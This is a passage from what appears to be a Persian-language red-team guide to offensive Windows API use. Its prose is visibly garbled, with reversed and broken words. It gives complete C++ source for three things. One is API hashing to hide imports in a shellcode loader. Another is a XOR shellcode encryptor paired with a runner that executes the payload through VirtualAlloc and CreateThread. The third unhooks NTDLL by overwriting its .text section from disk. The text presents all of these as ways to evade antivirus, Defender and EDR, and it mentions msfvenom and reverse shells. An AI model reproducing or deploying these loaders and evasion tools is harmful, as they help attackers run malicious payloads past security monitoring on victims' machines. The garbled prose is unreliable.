 مفهوم:

که  یاز حافظه آزاد شود و منابع آن پس گرفته شود، وقت DLL لیکه فا شودیباعث م FreeLibraryتابع 

 کارتان با آن تمام شده باشد.
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 دهیرس انیاجرا شده و بدون خطا به پا تیاست که برنامه با موفق نیدهنده اهم نشان return 0 عبارت

 است.

 

 کد یاجرا جهینت -  10 ریتصو

 شیرا نما "!Hello, World"که متن  شودی( ظاهر مMessageBox) امیپنجره پ کیبرنامه،  یاجرا با

 صدا زده شده، نه با نامش. Ordinalتابع با  یول دهد،یم
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 ندوزیو APIکردن هش

 ست؟یچ ندوزیو APIکردن هش

از نام توابع  میاستفاده مستق جایبه( runtimeاست که در زمان اجرا ) یکیتکن ندوزیو API کردنهش

APIکندیاستفاده م هاآن یشده قبلمحاسبه یها، از هش. 

را صدا بزند، ابتدا  GetProcAddress(hModule, "VirtualAlloc")تابع  ماًیبرنامه مستق نکهیا جایبه مثلاً

( ماژول هدف Export Tableرا محاسبه کرده و سپس در جدول صادرات ) "VirtualAlloc"هش رشته 

 کند. افتیکند و آدرس تابع را در دایتا هش مشابه را پ دگردیم

 جهینشوند و در نت رهیبرنامه ذخ لیمتن ساده در فا صورتبه APIنام توابع  شودیروش باعث م نیا

روش معمولاً در  نیتر شود. اسخت ستایا یهالیو تحل یتیامن یهاستمیبرنامه توسط س صیتشخ

 .شودی( استفاده مRed Teamقرمز ) یهامیت یکدها، بدافزارها و ابزارهاشل

 شود؟یاستفاده م APIکردن از هش چرا

 حیتوض لیدل

جدول  ایدر برنامه  APIقابل خواندن  یهااز وجود نام یریجلوگ یکاریمخف
 واردات

 EDR یهاستمیو س هاروسیویآنت صیکمک به عبور از تشخ ییاز شناسا فرار

 شودیکد منام توابع، باعث کاهش حجم شل یهارشته رهیحذف ذخ حجم کاهش

 شده یبارگذار یهادر زمان اجرا از ماژول APIتوابع  افتنی کینامیدا رزولوشن

 APIکردن هش کیتکن یاصل یاجزا

 CalculateHashتابع 
 عدد کیرا در  ی. در هر مرحله، هش قبلسازدی)نام تابع( م یاز رشته ورود یهش سفارش کیکه  یتابع

 .کندیمحدود م تیب 24را به  جهینت تیو در نها کندیجمع م یبزرگ ضرب و سپس با مقدار کاراکتر فعل

DWORD CalculateHash(const char* functionName) { 
    DWORD hash = 0x35; 
    while (*functionName) { 
        hash = (hash * 0xab10f29f) + (*functionName); 
        hash &= 0xFFFFFF; 
        functionName++; 
    } 
    return hash; 
}  
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 GetModuleBaseتابع  
 GetModuleHandleAرا با استفاده از  بارگذاری شده DLL کی( Base Address) هیکه آدرس پا یتابع

 .kernel32.dllمثل  رد،یگیم

HMODULE GetModuleBase(const char* moduleName) { 
    return GetModuleHandleA(moduleName); 
}  

 ResolveFunctionByHashتابع 
نام هر تابع صادر شده  کنه،یم یماژول مشخص رو بررس کی( Export Tableتابع جدول صادرات ) نیا

ها با هم مطابقت داشتند، آدرس . اگر هشکنهیم سهی( مقاtarget hashو با هش هدف ) کنهیرو هش م

 .شهیاون محاسبه و برگشت داده م نالیتابع با استفاده از شماره ارد

 شده: فیتعر ریبه شکل ز تابع

FARPROC ResolveFunctionByHash(HMODULE hModule, DWORD 

targetHash)  

 :شهیکارها انجام م نیا بیتابع به ترت داخل

 یهدرها DOS  وNT رهیگیرو از ماژول م 

 یرکتوریمحل دا ( صادراتExport Directoryرو پ )کنهیم دای 

 ستیل قیاز طر AddressOfNamesکنهیم ی، نام تمام توابع صادر شده رو بررس 

 با تابع  کنهیهر نام، هش محاسبه م یبرا(CalculateHash) 

 گردونهیاگر هش محاسبه شده با هش هدف برابر بود، آدرس تابع رو برم 

 شهیم دایاز نامش پ میو بدون استفاده مستق کینامیدا صورتبه موردنظرتابع  بیترت نیا به. 

 کد یروند اجرا
 :شودیانجام م بیبه ترت ریزمان اجرا، مراحل ز در

 .شودیمحاسبه م WaitForSingleObjectو  VirtualAlloc ،CreateThreadمثل  APIهش توابع  .1

 .دیآیبه دست م kernel32.dllماژول  هی، آدرس پاGetModuleBaseبا استفاده از تابع  .2

 .شودیم دایها پهش سهی، آدرس توابع با مقاResolveFunctionByHashسپس با استفاده از  .3

 .شودیاختصاص داده م VirtualAllocقابل اجرا با  یاحافظه .4

 .شودیم یحافظه کپ نی( به داخل اshellcodeکد خام ) .5

 ود.اجرا ش shellcodeتا کد  شودیم جادیا CreateThreadبا  دی( جدthreadنخ ) کی .6
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 برسد. انینخ به پا یتا اجرا میمانیمنتظر م WaitForSingleObjectبا  .7

 خلاصه کد نمونه
 )ممکن است با تابع هش متفاوت باشد(: یدیهش کل ریمقاد

DWORD hashVirtualAlloc = 0xE0DABF; 
DWORD hashCreateThread = 0xF92F7B; 
DWORD hashWaitForSingleObject = 

CalculateHash("WaitForSingleObject");  

 .روندیبه کار م هاآناز نام  میکردن توابع بدون استفاده مستق دایپ یبرا ریمقاد نیا

 اند:شدهاستفادهکه در مثال  API یامضاها

typedef LPVOID (WINAPI* pVirtualAlloc_t)(LPVOID, SIZE_T, 

DWORD, DWORD); 
typedef HANDLE (WINAPI* 

pCreateThread_t)(LPSECURITY_ATTRIBUTES, SIZE_T, 

LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); 
typedef DWORD (WINAPI* pWaitForSingleObject_t)(HANDLE, 

DWORD);  

داخل  shellcode. سپس شوندیم یتوابع فراخوان یگرهاآدرس توابع، اشاره زیآمتیشدن موفق دایاز پ پس

 رزولوشده. یهاAPI نیبا استفاده از ا شودیاجرا م دی( جدthreadنخ ) کی

 (:Full Source Codeکد کامل منبع )

#include <Windows.h> 

#include <iostream> 

 

// Hash function to obfuscate API names 

DWORD CalculateHash(const char* functionName) { 
    DWORD hash = 0x35;  // seed 
    while (*functionName) { 
        hash = (hash * 0xAB10F29F) + (*functionName); 
        hash &= 0xFFFFFF;  // keep result within 24 bits 
        functionName++; 
    } 
    return hash; 
} 

// Get the base address of a loaded DLL 

HMODULE GetModuleBase(const char* moduleName) { 
    return GetModuleHandleA(moduleName); 
}  
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// Resolve an API function by matching a precomputed 

hash against export names 

FARPROC ResolveFunctionByHash(HMODULE hModule, DWORD 

targetHash) { 
    if (!hModule) return nullptr; 
 

    auto dosHeader = (PIMAGE_DOS_HEADER)hModule; 
    auto ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule 

+ dosHeader->e_lfanew); 
 

    DWORD exportDirRVA = ntHeaders-

>OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPO

RT].VirtualAddress; 

    auto exportDir = 

(PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule + 

exportDirRVA); 
 

    DWORD* namesRVA = (DWORD*)((BYTE*)hModule + 

exportDir->AddressOfNames); 
    WORD* ordinals = (WORD*)((BYTE*)hModule + exportDir-

>AddressOfNameOrdinals); 
    DWORD* functions = (DWORD*)((BYTE*)hModule + 

exportDir->AddressOfFunctions); 
 

    for (DWORD i = 0; i < exportDir->NumberOfNames; i++)  
{ 
        const char* functionName = (const 

char*)((BYTE*)hModule + namesRVA[i]); 
        DWORD hash = CalculateHash(functionName); 
 

        if (hash == targetHash) { 
            WORD ordinal = ordinals[i]; 
            DWORD functionRVA = functions[ordinal]; 
            return (FARPROC)((BYTE*)hModule + 

functionRVA); 
        } 
    } 
 

    return nullptr; 
} 

// Example shellcode (for demonstration only) 

unsigned char shellcode[] = { 
    0x48, 0x31, 0xc0,    // xor rax, rax 
    0x48, 0xff, 0xc0,    // inc rax 
    0xc3                 // ret 
 

};  
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int main() { 
    // Precomputed hashes for the desired APIs  
    DWORD hashVirtualAlloc = 

CalculateHash("VirtualAlloc"); 
    DWORD hashCreateThread = 

CalculateHash("CreateThread"); 
    DWORD hashWaitForSingleObject = 

CalculateHash("WaitForSingleObject"); 
 

    std::cout << "VirtualAlloc hash: 0x" << std::hex << 

hashVirtualAlloc << std::endl; 
    std::cout << "CreateThread hash: 0x" << std::hex << 

hashCreateThread << std::endl; 
    std::cout << "WaitForSingleObject hash: 0x" << 

std::hex << hashWaitForSingleObject << std::endl; 
 

    // Get kernel32.dll base 
    HMODULE hKernel32 = GetModuleBase("kernel32.dll"); 
    if (!hKernel32) { 
        std::cerr << "Failed to get kernel32.dll base 

address" << std::endl; 
        return -1; 
    } 
 

    // Resolve APIs by hash 
    auto pVirtualAlloc = (LPVOID(WINAPI*)(LPVOID, 

SIZE_T, DWORD, DWORD))ResolveFunctionByHash(hKernel32, 

hashVirtualAlloc); 
 

    auto pCreateThread = 

(HANDLE(WINAPI*)(LPSECURITY_ATTRIBUTES, SIZE_T, 

LPTHREAD_START_ROUTINE, LPVOID, DWORD,  
LPDWORD))ResolveFunctionByHash(hKernel32, 

hashCreateThread); 
    auto pWaitForSingleObject = (DWORD(WINAPI*)(HANDLE, 

DWORD))ResolveFunctionByHash(hKernel32, 

hashWaitForSingleObject); 
 

    if (!pVirtualAlloc || !pCreateThread || 

!pWaitForSingleObject) { 
        std::cerr << "Failed to resolve one or more 

functions." << std::endl; 
        return -1; 
    } 
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    // Allocate memory for shellcode 
    LPVOID execMem = pVirtualAlloc(NULL, 

sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, 

PAGE_EXECUTE_READWRITE); 
    if (!execMem) { 
        std::cerr << "VirtualAlloc failed." << 

std::endl; 
        return -1; 
    } 
 

    // Copy shellcode to allocated memory 
    memcpy(execMem, shellcode, sizeof(shellcode)); 
 

    // Execute shellcode 
    HANDLE hThread = pCreateThread(NULL, 0, 

(LPTHREAD_START_ROUTINE)execMem, NULL, 0, NULL); 
 

    if (!hThread) { 
        std::cerr << "CreateThread failed." << 

std::endl; 
        return -1; 
    } 

 
    // Wait for shellcode to finish 
    pWaitForSingleObject(hThread, INFINITE); 
 

    return 0; 
}  

 دارد؟ تیو بدافزار اهم نگیمیرد ت درزمینهموضوع  نیچرا ا

 باشد: تی( در اولوStealth) یکارکه پنهان کندیم دایپ تیاهم یوقت APIکردن  هش

 تشخیصقابل یهااز قرار دادن نام API کندیم یریثابت در برنامه جلوگ یهارشته صورتبه. 

 واردشدهبر اساس توابع  ییمانع شناسا (importشناخته شده م )شودی. 

 یامرحله یهایدر بارگذار (staged payloadsا ،)یاحافظه یهامپلنتی (in-memory 

implantsشل ی( و اجرا( کدهاshellcode runners.کاربرد دارد ) 

 ها در زمان اجرا را ماژول ییشده و شناسا یگسترش به همراه جداول هش رمزنگار تیقابل

 دارد.
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 ییهابا روش یاست. وقت APIکردن توابع  دایپ یبرا شرفتهیو پ کینامید یهااز روش یبخش کیتکن نیا

 PE لیبرنامه بدون فا یاجرا ای( indirect syscalls) میرمستقیغ یستمیس یهای، فراخوانunhookingمثل 

 .کندیرا فراهم م ییاز شناسا شرفتهیشود، امکان فرار پ بیترک

 (کروسافتیما ی)مستندات رسم Windows APIمستندات 

1. GetModuleHandleA 
دوباره آن را  نکهیبدون ا گرداندیشده است برم یکه قبلاً بارگذار یDLL یهندل )دسته( برا کی    

 کند. یبارگذار

 مستندات نکیل    

https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-

getmodulehandlea 

2. VirtualAlloc 
 .دهدیم صیتخص یفعل ندیفرا یآدرس مجاز یدر فضا یاحافظه    

 مستندات نکیل    

https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-

virtualalloc 

3. CreateThread 
 اجرا شود. یجار ندیآدرس فرا یتا در فضا سازدیم دی( جدThreadرشته ) کی    

 مستندات نکیل    

https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-

processthreadsapi-createthread 

4. WaitForSingleObject 
 تمام شود. اوتمیتا ایباشد  گنالیمشخص شده در حالت س ءیتا ش ماندیمنتظر م    

 مستندات نکیل    

https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-

getprocaddress 

https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulehandlea
https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulehandlea
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread
https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress
https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress
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5. GetProcAddress 
 .گرداندیمشخص شده را برم DLL( از exportedصادر شده ) ریمتغ ایتابع  کیآدرس     

 مستندات نکیل    

https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-

getprocaddress 

6. IMAGE_DOS_HEADER / IMAGE_NT_HEADERS / IMAGE_EXPORT_DIRECTORY 
ها استفاده DLL( در export tablesصادر شده ) یهاخواندن هدرها و جدول یکه برا PE یساختارها    

 .شوندیم

 مستندات نکیل    

https://learn.microsoft.com/en-us/windows/win32/debug/pe-format 

 API نگیو هش PEمرتبط با فرمت  منابع

PE File Format (کروسافتیما یکل ی)نما 

 .Portable Executable لیدرباره ساختار فا یکل حیتوض    

 مستندات نکیل    

https://learn.microsoft.com/en-us/windows/win32/debug/pe-format 

API Hashing بدافزار( شرفتهیپ یهاکی)تکن 

ته به آن پرداخ ریمستند نشده، اما در منابع ز کروسافتیتوسط ما یرسم صورتبهموضوع  نیاگرچه ا    

 شده است:

 Practical Malware Analysis  )کتاب(- Sikorski & Honig 

 Windows Internals  )کتاب(- Russinovich, Solomon, Ionescu 

 مانند: یتیجامعه امن یهاپروژه 

https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-

malware 

https://github.com/CyberSecurityUP/Windows-API-for-Red-Team 

https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress
https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress
https://learn.microsoft.com/en-us/windows/win32/debug/pe-format
https://learn.microsoft.com/en-us/windows/win32/debug/pe-format
https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware
https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware
https://github.com/CyberSecurityUP/Windows-API-for-Red-Team
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 حافظه یهاکد و محافظتشل یاجرا

 کد.مرتبط با شل یهاسکیو ر PAGE_EXECUTE_READWRITE ،یدرباره حافظه مجاز    

 مستندات نکیل    

https://learn.microsoft.com/en-us/windows/win32/memory/memory-protection-constants 

https://learn.microsoft.com/en-us/windows/win32/memory/memory-protection-constants
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 پنجمفصل 

در کار با  یتهاجم هیپا یهاکیتکن  
API 



 ویندوز برای تیم قرمز APIمقدمه ای بر توسعه 

 

148 

 

 آن در حافظه یو اجرا XORکد با شل یرمزگذار

 مقدمه

اجتناب از  یچالش اصل م،یدهیاستقرار م ایکه تحت نظارت است اجرا  یطیکد را در محشل یوقت

و  هاروسیویمانند آنت یتیامن ی( توسط راهکارهاbehavioral) ی( و رفتارstatic) ستایا یهاییشناسا

 است. Endpoint Detection and Response (EDR) یهاستمیس

( است. obfuscation) مبهم سازی یهاکیتکن نیاما همچنان موثرتر نیتراز ساده یکی XOR یرمزگذار

قابل بازگشت به نام  یاضیر اتیعمل کی( را با استفاده از payload) یورود یاز داده تیروش هر با نیا

XOR  یتیبا یبر الگوها ینمبت ییروش از شناسا نی. اگر درست استفاده شود، ادهدیم رییتغ دیکل کیبا، 

 یریجلوگ شوند،یرصد م ینریبا یهابلوک ایکد شده که معمولا در شلشناخته یامضاها ایها رشته

 .کندیم

ظه حاف یهاصیتخص توانندیمدرن هنوز م یرفتار یمؤثر است، اما موتورها ستایا لیتحل یروش برا نیا

مبهم  یندهایدر فرا هیپا هیلا کیهمچنان  XOR، حالبااینکنند.  ییرا شناسا ییاجرا یمشکوک و رفتارها

 .شودیمحسوب م سازی

 XOR یکار رمزگذار نحوه

XOR (ای exclusive ORکل )چون کندیکد اعمال ماز شل تیرا به هر با دی .XOR  متقارن است، همان

 مثال: طوربهکند.  ییو رمزگشا یها را رمزگذارداده تواندیم دیبا همان کل اتیعمل

EncryptedByte = OriginalByte XOR KeyByte 
OriginalByte  = EncryptedByte XOR KeyByte  

 مبهم سازیرا  یکل داده ورود دیتوانی، م"redteamexercises"مانند  یاتکرارشونده دیاستفاده از کل با

 کد سازگار است.دارد و با شل یکه سربار کم یدر حال د،یکن

 کار روند

 

 کدشل دیتول - 11 ریتصو
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کرد.  جادیا یسفارش payload دکنندهیهر تول ای msfvenom ،Donutمثل  ییبا ابزارها توانیرا م کدشل

 مثلا:

msfvenom -p windows/x64/messagebox TEXT="Hello" -f c  

 .دیکد استفاده کنشل دیتول یخودتان برا C2از چارچوب  دیتوانیم نیهمچن

 

 encryptor.cpp کد باشل یرمزگذار -  12 ریتصو

 برنامه: نیا

 ردیگیکد را مبافر خام شل کی. 

 یرمزگذار XOR دیرا با کل ("redteamexercises"اعمال م )کندی. 

 لیفا کی ( هدر.hجد )شده و اندازه آن است. یکد رمزگذارکه شامل شل کندیم دیتول دی 

encryptor.cpp: 
#include <iostream> 

#include <fstream> 

#include <vector> 

#include <string> 

 
// XOR encryption key 

const std::string key = "redteamexercises"; 
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// Raw shellcode 

unsigned char shellcode[] = 

"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x5

0"                            

"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x5

2"; 

 

const size_t shellcode_size = sizeof(shellcode); 

 

// XOR encryption function 

void xor_encrypt(std::vector<unsigned char>& data, const 

std::string& key) { 
    for (size_t i = 0; i < data.size(); i++) { 
        data[i] ^= key[i % key.size()]; 
    } 
} 
 

int main() { 
    std::vector<unsigned char> encrypted(shellcode, 

shellcode + shellcode_size); 
    xor_encrypt(encrypted, key); 
 

    std::ofstream output("encrypted_shellcode.h"); 
    output << "#pragma once\n"; 
    output << "unsigned char encrypted_shellcode[] = {"; 
 

    for (size_t i = 0; i < encrypted.size(); i++) { 
        output << "0x" << std::hex << (int)encrypted[i]; 
        if (i != encrypted.size() - 1) output << ", "; 
    } 
    output << "};\n"; 
    output << "const size_t shellcode_size = " << 

encrypted.size() << ";\n"; 
    std::cout << "[+] Encrypted shellcode saved to 

encrypted_shellcode.h\n"; 
    return 0; 
}  

 

 Encryptor برنامه یاجرا -13 ریتصو

 شود. دیتول encrypted_shellcode.h لیتا فا دیو اجرا کن لیرا کامپا encryptor.cpp کد
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 runner.cppکد با شل یاجرا -14 ریتصو

 برنامه: نیا

  شده است. یداده رمزگذارشامل 

 کندیم ییرمزگشا دیآن را در حافظه با همان کل. 

 دهدیاختصاص م ییاجرا یاحافظه. 

 کد را با استفاده از شلCreateThread کندیاجرا م. 

runner.cpp: 
#include <windows.h> 

#include <iostream> 

#include "encrypted_shellcode.h" // Include generated 

header 
 

const std::string key = "redteamexercises"; 
 

// Decryption logic 

void xor_decrypt(unsigned char* data, size_t size, const 

std::string& key) { 
    for (size_t i = 0; i < size; i++) { 
        data[i] ^= key[i % key.size()]; 
    } 
} 
 

int main() { 
    std::cout << "[+] Starting shellcode decryption and 

execution...\n"; 
 

    xor_decrypt(encrypted_shellcode, shellcode_size, 

key); 
 

    void* exec_mem = VirtualAlloc(nullptr, 

shellcode_size, MEM_COMMIT | MEM_RESERVE, 

PAGE_READWRITE);  
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    if (!exec_mem) { 
        std::cerr << "[-] Memory allocation failed\n"; 
        return 1; 
    } 
 

    memcpy(exec_mem, encrypted_shellcode, 

shellcode_size); 
 

    DWORD oldProtect; 
    if (!VirtualProtect(exec_mem, shellcode_size, 

PAGE_EXECUTE_READ, &oldProtect)) { 
 

        std::cerr << "[-] Failed to change memory 

permissions\n"; 
        return 1; 
    } 
 

    HANDLE hThread = CreateThread(nullptr, 0, 

(LPTHREAD_START_ROUTINE)exec_mem, nullptr, 0, nullptr); 
    if (!hThread) { 
        std::cerr << "[-] Thread creation failed\n"; 
        return 1; 
    } 
 

    WaitForSingleObject(hThread, INFINITE); 
    return 0; 
}  

 

 فعال Defenderبا  10 ندوزیو یاجرا رو - 15 ریتصو
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نوشته شود و بدون  سکیبه د نکهیشده و فقط در حافظه اجرا شود بدون ا مبهم سازیکد شل یوقت

 هیپا ی، ممکن است بتواند امضاهاImport Address Table (IAT)خطرناک در  یهاAPI میمستق واردکردن

Defender  اگرچه( را دور بزندEDRرممکن است هنوز هشدا اکتشافی ییبا شناسا شرفتهیپ یها .)دهند 

 (payload جهینت ایشل معکوس ) یبرقرار – 6 شکل

 ای غام،یپ شیشل معکوس، نما کی جادیا چه—دینیرفتار مورد انتظار را بب دیکد اجرا شد، باشل یوقت

 .یگرید payloadهر  یاجرا

 یریگجهینت

بر امضا  یمبتن یهاروسیویمقابله با آنت یاست. برا مبهم سازیدر  یاهیروش پا کی XOR یرمزگذار

 دارد. یمحافظت محدود یرفتار یهاEDR ای کیهورست یاست، اما در برابر موتورها دیمف

 محافظت بهتر: یبرا

 XOR دیکن بی( ترکیتصادف ی)رمزگذار سمیمورفیرا با پول. 

 دیرا مبهم کن ییروند رمزگشا. 

 دیکن میکوچک تقس یهابه بخش ای دیندازیب ریتأخ را به ییرمزگشا. 

 مناطق حافظه  ایبر استک  یمبتن یاز لودرهاRWX دیاستفاده کن. 

 API-hashing  وstubیها syscall یاز ردپا یریجلوگ یرا برا APIدیمخلوط کن ندوزیو یها. 
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 سکید یاز رو text.بخش  یابیبا باز NTDLLکردن  unhook یبازگردان

 یکل مرور

( inline hooks) یخط یهامعمولاً هوک Endpoint Detection and Response (EDR)مدرن  یهاستمیس

 system) ستمیس یهایتا فراخوان دهندی، قرار مntdll.dllمخصوصاً  ،یحالت کاربر یهاDLLرا داخل 

calls ها معمولاً در بخش هوک نیکنند. ا توریمخرب را مان یو رفتارها گیریره( را.text DLL  که محل

 .رندیگیم یها است، جاsyscall stub یرهیذخ

ها به توابع تماس تواندیم EDR(، EDRبه کد  call ای jmpها )مثل اضافه کردن دستور دستورالعمل رییتغ با

 و... را مشاهده و ثبت کند. NtOpenProcess ،NtCreateThreadExمثل  یاتیح

 ینیگزیو جا سکیاز د ntdll.dllو بدون هوک  ینسخه اصل یابیروش قابل دور زدن است؛ با باز نیا اما

 یهاکارکرد هوک یرا بازگرداند و جلو syscall یاصل یهاstub توانیآن در حافظه، م text.فقط بخش 

 را گرفت. EDR یحالت کاربر

 کرد؟ unhookرا  NTDLL دیبا چرا

 لیدل هدف

به  jmp)مثلاً  یکاربر یهانیحذف ترمپول EDR یخط یهازدن هوک دور
EDR.dll) 

 میرمستقیغ ای میمستق syscall یهاکیتکن یبرا زیتم syscall یهاstubکردن  فعال

 یرو یرفتار یتورهایاز فعال شدن مان یریجلوگ انهیمخف یاجرا اجازه
 APIتماس 

 ستیبالاتر ن یهایدسترس ایکرنل  وریبه درا ازین یحالت کاربر یاجرا حفظ

 کیکار تکن روند

 لیفا I/Oبا استفاده از  سکیاز د زیتم ntdll.dll یبارگذار .1

 سکید یهر دو نسخه در حافظه و رو PE یپارس کردن هدرها .2

 قرار دارند( syscall یهاstubکه  یی)جا text.کردن بخش  دایپ .3

 ای VirtualProtectبه قابل نوشتن با  text.موقت محافظت حافظه  رییتغ .4
NtProtectVirtualMemory 

 سکیاز د زیشده در حافظه با نسخه تمبخش هوک یسیبازنو .5

 یحفظ رفتار عاد یبازگرداندن محافظت حافظه برا .6
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 هاتیمحدود

 ایحالت کرنل  یهاهوک ETW/AMSI زندیرا دور نم 

  اگر حافظه در حالتRWX  کند ممکن است هشدار دهد رییدر زمان اجرا تغ ایباشد 

 EDRکه از  ییهاSSDT  هوک کرنل(syscall )یسازادهیبازپ ای API استفاده  یحالت کاربر

 کنند ییممکن است همچنان رفتار را شناسا کنندیم

 ها در هوک یبرخDLLمثل  یگرید یهاkernel32.dll ای advapi32.dll هم وجود دارند 

 textبخش . یابیباز قیاز طر Unhook NTDLL یبازگردان: کد

#include <windows.h> 

#include <winternl.h> 

#include <iostream> 

#include <vector> 

#include <fstream> 

 

// Gets RVA and size of the .text section 

bool GetTextSectionInfo(BYTE* moduleBase, DWORD& rva, 

DWORD& size) { 

    auto dos = (IMAGE_DOS_HEADER*)moduleBase; 

    if (dos->e_magic != IMAGE_DOS_SIGNATURE) return 

false; 

 

    auto nt = (IMAGE_NT_HEADERS*)(moduleBase + dos-

>e_lfanew); 

    if (nt->Signature != IMAGE_NT_SIGNATURE) return 

false; 

 

    auto section = IMAGE_FIRST_SECTION(nt); 

 

    for (WORD i = 0; i < nt-

>FileHeader.NumberOfSections; ++i) { 

        if (strncmp((char*)section->Name, ".text", 5) == 

0) { 

            rva  = section->VirtualAddress; 

            size = section->Misc.VirtualSize; 

            return true; 

        } 

        ++section; 

    } 

    return false; 

} 
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// Loads ntdll.dll from disk into memory buffer 

std::vector<BYTE> LoadCleanNtdllFromDisk() { 

    WCHAR systemPath[MAX_PATH]; 

    GetSystemDirectoryW(systemPath, MAX_PATH); 

 

    std::wstring fullPath = std::wstring(systemPath) + 

L"\\ntdll.dll"; 

    std::ifstream file(fullPath, std::ios::binary); 

 

    if (!file) { 

        std::cerr << "[-] Could not open ntdll.dll from 

disk.\n"; 

        return {}; 

    } 

 

    file.seekg(0, std::ios::end); 

    size_t fileSize = file.tellg(); 

    file.seekg(0, std::ios::beg); 

 

    std::vector<BYTE> buffer(fileSize); 

    file.read(reinterpret_cast<char*>(buffer.data()), 

fileSize); 

    file.close(); 

 

    return buffer; 

} 

 

int main() { 

    std::cout << "[+] Starting NTDLL unhooking...\n"; 

 

    // Get loaded ntdll base address 

    BYTE* loadedNtdll = 

(BYTE*)GetModuleHandleW(L"ntdll.dll"); 

    if (!loadedNtdll) { 

        std::cerr << "[-] Failed to get ntdll base 

address.\n"; 

        return 1; 

    } 

 

    // Get loaded .text RVA and size 

    DWORD loadedRVA = 0, loadedSize = 0; 

    if (!GetTextSectionInfo(loadedNtdll, loadedRVA, 

loadedSize)) { 

        std::cerr << "[-] Failed to get .text info from 

loaded ntdll.\n"; 

        return 1; 

    }  
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    BYTE* loadedTextBase = loadedNtdll + loadedRVA; 

    std::cout << "[+] .text in memory: " << 

static_cast<void*>(loadedTextBase) 

              << " | Size: " << loadedSize << "\n"; 

 

    // Load clean copy from disk 

    std::vector<BYTE> cleanNtdll = 

LoadCleanNtdllFromDisk(); 

    if (cleanNtdll.empty()) return 1; 

 

    // Get clean .text RVA and size 

    DWORD cleanRVA = 0, cleanSize = 0; 

    if (!GetTextSectionInfo(cleanNtdll.data(), cleanRVA, 

cleanSize)) { 

        std::cerr << "[-] Failed to get .text info from 

clean ntdll.\n"; 

        return 1; 

    } 

 

    std::cout << "[+] .text in clean ntdll at RVA: 0x" 

<< std::hex << cleanRVA 

              << " | Size: " << std::dec << cleanSize << 

"\n"; 

 

    if (cleanSize != loadedSize) { 

        std::cerr << "[-] .text size mismatch between 

disk and memory.\n"; 

        return 1; 

    } 

 

    if ((cleanRVA + cleanSize) > cleanNtdll.size()) { 

        std::cerr << "[-] Clean .text section exceeds 

file size bounds.\n"; 

        return 1; 

    } 

 

    BYTE* cleanTextBase = cleanNtdll.data() + cleanRVA; 

 

    // Change protection to RWX 

    DWORD oldProtect = 0; 

    if (!VirtualProtect(loadedTextBase, loadedSize, 

PAGE_EXECUTE_READWRITE, &oldProtect)) { 

        std::cerr << "[-] Failed to change memory 

protection.\n"; 

        return 1; 

    }  
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    std::cout << "[+] Patching .text section in 

memory...\n"; 

 

    // Overwrite with clean .text 

    memcpy(loadedTextBase, cleanTextBase, loadedSize); 

 

    // Flush CPU instruction cache (important after 

patching syscall stubs) 

    FlushInstructionCache(GetCurrentProcess(), 

loadedTextBase, loadedSize); 

 

    // Restore original protection 

    DWORD tempProtect; 

    if (!VirtualProtect(loadedTextBase, loadedSize, 

oldProtect, &tempProtect)) { 

        std::cerr << "[-] Failed to restore memory 

protection.\n"; 

        return 1; 

    } 

 

    std::cout << "[+] Unhook complete. NTDLL restored 

from disk.\n"; 

    return 0; 

}  

 

 

 اجرا جهینت - 16 ریتصو

 EDR یحالت کاربر یهاو هوک شودیم یسیدر حافظه بازنو ntdll.dllاز  text.برنامه، بخش  نیا یاجرا با

دوباره  یاصل syscall یهاstubکه  شودیکار باعث م نی. اشوندیبخش قرار داشتند حذف م نیکه در ا

 شوند. EDRتوسط  گیریره ایشوند و مانع نظارت  یبارگذار
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 Prologue یبررس قیاز طر NTDLLشده در  Hook یهاSyscall صیتشخ

 یخطدرون

 مقدمه

( یانیدر نقطه پا داتیو پاسخ به تهد یی)شناسا EDRمانند  یتیامن یابزارها ندوز،یمدرن و یهاطیمح در

ها استفاده و نظارت بر رفتار پردازش گیریره ی( براuser-mode hookingدر سطح کاربر ) hookingاز 

 یاتیتوابع ح یابتدا یتیافزار امنکه نرم ییاست؛ جا inline hookingها، روش نیترجیاز را یکی. کنندیم

 شود. تیخودش هدا یکد به سمت کد نظارت یتا اجرا دهدیم ریی( را تغیستمیس یهای)مثل فراخوان

در  ژهویبه—کرد ییرا شناسا یخطدرون یهاhook نیچن توانیکه چگونه م دهدیمقاله نشان م نیا

 است. ندوزیو یهاsyscallتمام  یسطح کاربر برا یهاstubکه شامل  NTDLL.dllماژول 

Syscall ها چه هستند و چراhook شوند؟یم 

 کین کرنل دارد )مثل باز کرد یهاتیبه قابل یبه دسترس ازیبرنامه در سطح کاربر ن کی یوقت ندوز،یو در

 نیساختار، ا. درونکندیم یرا فراخوان ()OpenProcessمانند  ییهاAPIحافظه(،  صیتخص ایپردازش 

